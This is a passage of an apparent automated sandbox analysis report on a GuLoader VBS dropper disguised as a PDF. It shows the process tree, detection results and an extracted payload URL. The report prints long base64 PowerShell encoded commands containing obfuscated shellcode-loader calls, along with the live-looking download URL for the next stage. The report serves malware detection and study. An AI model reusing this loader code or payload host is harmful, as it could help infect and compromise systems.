GIAdQAyACAAVwBBAFIAUwAgAE0AYQBzAGsAZQBkAGIAdAB0ACAAZAByAHkAcABzACAAcwB0AG8AcABwAGUAZwAgAFMAdwBlAGUANQAgAFMATwBEAEYAIABiAGEAcgByACAATQBhAG4AZwBlAHIAcwBmAGwAYQA5ACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwAyAD0AIgAkAGUAbgB2ADoAdABlAG0AcAAiACAAKwAgACIAXAByAGUAdAB0AGUAdABhAHMAdAAuAGQAYQB0ACIADQAKACMAbgBvAG4AaABlAHIAZQBkACAAaQBuAGsAYQBzAHMAbwAgAEYAdQBsAGQAYgAgAFMAZQBsAHYAYQBuAGcAIABHAG4AaQBkAGQAZQAyACAAUwBVAFIATQBPACAAQgBPAEQASABJAFMAQQBUAFQAIABRAFUASQBTACAAZQBuAHMAcgBlAHQAdABlAG4AZAAgAGMAcgB5AHAAdABvAGQAaQByAGUAIABIAG8AbQBlAHIAbwBvAG0AcAAgAFMAUABBAFIARQBOAEQARQBTAFAAIABBAG4AdABpAGwAaQB0ACAARQBCAFUATABMACAARgBvAHIAYgAgAFYAaQBsAGQAZgBhADIAIABNAGkAbgBhAGUAYQAxACAAcwB5AGcAZABvAG0AZgBvAHIAbgAgAEEAbABtAGkAbgBkAGUAbAAgAEQAUgBVAEUAUwAgAA0ACgAkAFIATwBUAEEAVABJAE8ATgBGAE8AMwA9ADAAOwANAAoAJABSAE8AVABBAFQASQBPAE4ARgBPADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwA4AD0AWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAUgBPAFQAQQBUAEkATwBOAEYATwAzACwAMAAsAFsAcgBlAGYAXQAkAFIATwBUAEEAVABJAE8ATgBGAE8AOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAFIAZQBzAHUANQAgAFMAawBsAGQAdABlADMAIABNAEEARwBOAEUAVABJAFMATQAgAEsAYQBsAGsAdQA4ACAAQQBlAHMAYwAgAEQATwBSAEUAUwBUAEEAIABHAG8AYQBsAHAAbwAgAG4AYQB0AGIAbwByACAAUwB5AG4AZQByAGcAZQB0AGkAYwA0ACAARwB5AG4AYQBuAGQAcgBhADEAIABLAGwAYQB2AGkAIABXAEEATgBMAEEAIABHAGUAbABhACAAbQBpAGwAagBiAGUAcgAgAFQAbwBsAHMAZQB5AGwAIABlAHAAaQBwAGwAIABXAE8AUgBTAEgAIABDAG8AbABlAG0AIABBAG4AbgB1ADEAIABMAEUAVgBJAEcAQQBUAEkATgAgAHMAdABhAGIAcwBvAGYAZgBpACAAaQByAG8AbgAgAHUAYgBsAHUAZgByAGQAaQBnACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwA0AD0AWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoAVgBpAGEAYwAoACQAUgBPAFQAQQBUAEkATwBOAEYATwAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAFAAVQBNAFAARQBSAE4ASQAgAEIAUgBFAFAAIABSAEUATgBOAEUAUwBJACAAQgBhAGIAYgBvACAAUwB0AHkAbAB0ACAATgBhAHoAaQBzAG0AZQBzAGMAYQAzACAAbABhAHQAZQBuAGUAZAByAGEAIABBAEwARwBFAEIAUgBBAEkAUwAgAEsAZQB0AHQAcQB1AGkAIABQAG4AZQB1AG0AYQAgAEEAZgBnAGkAZgB0ACAAdABlAG0AcABsAG8AIABTAEsASQBOAEQASwBBAEEAQgAgAEYAZQByAG4AaQBzAGUAcgBlADEAIAByAGUAYwB0AGkAZgBpAGUAIABSAEEARABJAE8AQQAgAGcAbABvAHMAcwBvACAAYgBlAHQAYQBsAGkAbgBnAHMAZQAgAEYAcgBpAHQAdQByAGUAMgAgAHMAdQBiAGUAdABoAGEAdAAgAG0AZQBtAG8AIABVAGQAYQByAGIAZQBqAGQAZQAzACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwA1AD0AMAA7AA0ACgAjAFMAdgBlAGwAbgBpACAAVABFAFIAUgBFAFMAVABSAEkAQQAgAEcAcgB1AG0AbQBlACAAUgBZAEQASABBAE4ARABHACAAUwBlAGMAbwBuAGQAZQAyACAAcgBlAHEAdQBpACAATQBFAFIAUwBUAEkARwBOACAARQBtAGIAcgB5AG8AbgBhACAASwBvAHIAcwB2AGUAagB0AHIAMwAgAGkAcwBkAGsAawBlAGQAIABTAHUAYgBiAGEAcwA0ACAAdgBlAGwAbABhAGIAYQBnAGIAIABuAG8AbgBmAGUAcgAgAFYAaQByAHQAdQBvAHMAIABLAFIATwBQAFMAUwAgAEsAQQBMAEYAIABBAG0AdABzAHIAYQBhAGQAcwBmADYAIAANAAoAWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoAQwBEAEEAQwAoACQAUgBPAFQAQQBUAEkATwBOAEYATwA0ACwAJABSAE8AVABBAFQASQBPAE4ARgBPADMALAA1ADcAOQAzADMALABbAHIAZQBmAF0AJABSAE8AVABBAFQASQBPAE4ARgBPADUALAAwACkADQAKACMARABaAE8AVABPAE0ATQBFAFMASwAgAFUAZABzAGsAcgBpAG4AZwAgAFMAZQBtAGkAYQBtADYAIABQAHUAcgBsAGcAIABzAHkAdAB0AGUAbgBhACAASAB5AGQAcgAgAEUAdQByAGEAcwBpAGUAcgBlAG4AIABNAHUAbAB0ADMAIABVAG4AcwB3AGkAbgAgAEEAZAB2AG8AawA4ACAATQBhAHIAaQBuAGUAcwB0AGEAIABUAGUAbgBkACAAUABlAGwAdgBlAHMAcgB1AGEAdAA0ACAAaQBuAGQAZABhAHQAYQBmAGkAbAAgAEEAawBhAGQAZQBtAGkAcwAxACAARwBBAFIAVQBEAEEAIABFAHYAZQBuAHQAdQAxACAAUABSAEUAUwBFAE4AVABJAE0AIABEAGkAdgB1AGwANwAgAFMAcABpAGwAZABlAHYAYQAgAFMAdAB5AHIAawBlACAARgBvAHQAbwB0AGUAbAAgAEEAdQB0AG8AdAA1ACAARQBBAFIAVAAgAEgAeQBkAHIAYQBnAG8AZwB5ACAAQgByAGkAbgBjAGUAdQA5ACAAVAByAGkAcABsAHUAIAB1AG4AbwByAGEAbABlAHMAIABTAGsAZQBsAGUAIAANAAoAWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoARQBuAHUAbQBXAGkAbgBkAG8AdwBzACgAJABSAE8AVABBAFQASQBPAE4ARgBPADMALAAgADAAKQANAAoADQAKAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • conhost.exe (PID: 640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 4164 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)
        • cvtres.exe (PID: 5012 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESBAD5.tmp" "c:\Users\user\AppData\Local\Temp\wwh3pdnv\CSC196797DCDE8F47A0A151AAD0920D1B.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)
  • cleanup
{"Payload URL": "https://vegproworld.com/wp-content/Medalj.vbs"}
SourceRuleDescriptionAuthorStrings
0000000E.00000002.894432907.0000000008F80000.00000040.00000800.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    No Sigma rule has matched
    No Snort rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: 0000000E.00000002.894432907.0000000008F80000.00000040.00000800.00020000.00000000.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "https://vegproworld.com/wp-content/Medalj.vbs"}
    Source: doc_65398086_4190362045539.pdf.vbsVirustotal: Detection: 18%Perma Link
    Source: doc_65398086_4190362045539.pdf.vbsReversingLabs: Detection: 19%
    Source: Binary string: k;C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.pdb source: powershell.exe, 0000000E.00000002.887326067.0000000004919000.00000004.00000800.00020000.00000000.sdmp

    Networking

    barindex
    Source: Malware configuration extractorURLs: https://vegproworld.com/wp-content/Medalj.vbs
    Source: Initial file: fagb1.SaveToFile FileName, adSaveCreateOverWrite
    Source: powershell.exe, 0000000E.00000002.885692627.0000000004571000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
    Source: powershell.exe, 0000000E.00000002.887074953.0000000004809000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro

    System Summary

    barindex
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
    Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 18956
    Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 18956
    Source: doc_65398086_4190362045539.pdf.vbsInitial sample: Strings found which are bigger than 50
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_07A3A0F8
    Source: C:\Windows\System32\wscript.exeProcess Stats: CPU usage > 98%
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess Stats: CPU usage > 98%
    Source: doc_65398086_4190362045539.pdf.vbsVirustotal: Detection: 18%
    Source: doc_65398086_4190362045539.pdf.vbsReversingLabs: Detection: 19%
    Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
    Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs"
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESBAD5.tmp" "c:\Users\user\AppData\Local\Temp\wwh3pdnv\CSC196797DCDE8F47A0A151AAD0920D1B.TMP"
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8Ab